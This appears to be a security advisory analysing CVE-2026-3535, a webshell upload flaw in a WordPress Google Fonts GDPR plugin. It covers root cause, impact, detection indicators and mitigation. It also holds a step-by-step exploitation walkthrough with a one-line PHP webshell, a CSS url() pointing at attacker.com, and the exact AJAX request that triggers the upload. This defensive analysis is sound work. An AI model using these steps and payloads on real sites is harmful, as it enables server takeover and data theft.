CVE-2026-3535: 
WordPress vulnerability analysis and mitigation

CVE-2026-3535 is an unauthenticated arbitrary file upload vulnerability in the DSGVO Google Web Fonts GDPR plugin for WordPress, affecting all versions up to and including 1.1. The flaw allows unauthenticated remote attackers to upload arbitrary files — including PHP webshells — to publicly accessible directories, leading to remote code execution. Exploitation requires the target site to use one of a specific set of themes: twentyfifteen, twentyseventeen, twentysixteen, storefront, salient, or shapely. The vulnerability was published on April 8, 2026, and carries a CVSS v3.1 base score of 9.8 (Critical) (Wordfence, ENISA EUVD).

The root cause is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type). The vulnerable DSGVOGWPdownloadGoogleFonts() function is registered via a wp_ajax_nopriv_ hook, making it accessible to unauthenticated users through the standard WordPress AJAX endpoint (wp-admin/admin-ajax.php). The function accepts a user-supplied URL, fetches it as a CSS file, parses URLs from the CSS content, and downloads those referenced files to a publicly accessible directory — all without any file type validation. An attacker can craft a malicious CSS file hosted on an attacker-controlled server that references a PHP webshell, causing the plugin to download and store the webshell in a web-accessible path (Wordfence, WordPress Plugin Trac).

Successful exploitation grants unauthenticated attackers the ability to execute arbitrary PHP code on the web server, resulting in full compromise of the WordPress installation and potentially the underlying host. Impacts span all three pillars: confidentiality (access to database credentials, user data, and server files), integrity (modification or deletion of site content and configuration), and availability (service disruption or ransomware deployment). The attacker can leverage the webshell for lateral movement within the hosting environment, privilege escalation, or persistent backdoor access (Wordfence, ENISA EUVD).

As of the time of reporting, no public proof-of-concept exploit code has been confirmed, and there is no evidence of active in-the-wild exploitation (Wordfence). The vulnerability has an EPSS score of approximately 0.0034 (0.34%), indicating a currently low but non-negligible probability of exploitation in the near term. The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Notably, a Nuclei detection template pull request was submitted to ProjectDiscovery's nuclei-templates repository, suggesting the security community is actively developing automated scanning capabilities for this flaw (Nuclei Templates PR). The vulnerability is detectable by Qualys scanner (detection ID 531167).

1. Reconnaissance: Identify WordPress sites using the DSGVO Google Web Fonts GDPR plugin (version ≤ 1.1) and one of the required themes (twentyfifteen, twentyseventeen, twentysixteen, storefront, salient, or shapely) via passive scanning tools (e.g., WPScan, Shodan) or by inspecting page source for theme indicators.
2. Prepare malicious CSS file: Host a crafted CSS file on an attacker-controlled server. The CSS file should contain a url() reference pointing to a PHP webshell (e.g., src: url('https://attacker.com/shell.php');).
3. Prepare PHP webshell: Host the PHP webshell (e.g., <?php system($_GET['cmd']); ?>) at the URL referenced in the CSS file.
4. Trigger the vulnerable AJAX endpoint: Send an unauthenticated HTTP POST request to the target site's wp-admin/admin-ajax.php with the action parameter set to downloadGoogleFonts and the URL parameter pointing to the attacker-controlled CSS file (e.g., action=downloadGoogleFonts&url=https://attacker.com/malicious.css).
5. Plugin fetches and processes the CSS: The DSGVOGWPdownloadGoogleFonts() function fetches the attacker's CSS, extracts the embedded URL, and downloads the PHP webshell to a publicly accessible directory on the target server without file type validation.
6. Locate and execute the webshell: Determine the upload path (typically within the plugin's or theme's asset directory under wp-content/) and send HTTP requests to the uploaded webshell to execute arbitrary OS commands (e.g., https://target.com/wp-content/.../shell.php?cmd=id) (Wordfence, WordPress Plugin Trac).

• Network: Unexpected outbound HTTP/HTTPS requests from the web server to external hosts shortly after POST requests to wp-admin/admin-ajax.php; POST requests to wp-admin/admin-ajax.php with action=downloadGoogleFonts and a user-supplied external URL parameter from untrusted IPs.
• File System: Newly created .php files in the plugin's asset or font download directories under wp-content/plugins/dsgvo-google-web-fonts-gdpr/; PHP files with webshell patterns (e.g., system(), exec(), passthru(), base64_decode()) in publicly accessible directories.
• Logs: Web server access logs showing POST requests to wp-admin/admin-ajax.php?action=downloadGoogleFonts from external IPs; subsequent GET requests to newly created PHP files in wp-content/ directories; PHP error logs referencing DSGVOGWPdownloadGoogleFonts with external URLs.
• Process: Unusual child processes spawned by the web server process (e.g., Apache/Nginx/PHP-FPM) such as sh, bash, curl, wget, or python executing system commands.

No vendor patch has been confirmed as available for the DSGVO Google Web Fonts GDPR plugin as of the disclosure date; the recommended immediate action is to disable or remove the plugin from all WordPress installations (Wordfence). If the plugin cannot be removed immediately, implement Web Application Firewall (WAF) rules to block unauthenticated POST requests to wp-admin/admin-ajax.php with action=downloadGoogleFonts. Additionally, restrict outbound HTTP requests from the web server at the network level to prevent the plugin from fetching attacker-controlled resources. Audit the wp-content/plugins/dsgvo-google-web-fonts-gdpr/ directory and other publicly accessible paths for unexpected PHP files, and review web server logs for signs of prior exploitation. Sites not using the affected themes (twentyfifteen, twentyseventeen, twentysixteen, storefront, salient, or shapely) are not exploitable but should still remove the plugin as a precaution.

Wordfence disclosed and assigned the CVE, including it in their weekly WordPress vulnerability report for April 6–12, 2026 (Wordfence Blog). The vulnerability was noted on social platforms including Infosec.Exchange and Bluesky shortly after disclosure, reflecting standard community awareness activity. A Nuclei template pull request was submitted to ProjectDiscovery's repository, indicating active interest from the security tooling community in automated detection (Nuclei Templates PR). Overall community reaction reflects concern given the critical CVSS score and unauthenticated attack vector, though the theme-dependency precondition limits the effective attack surface.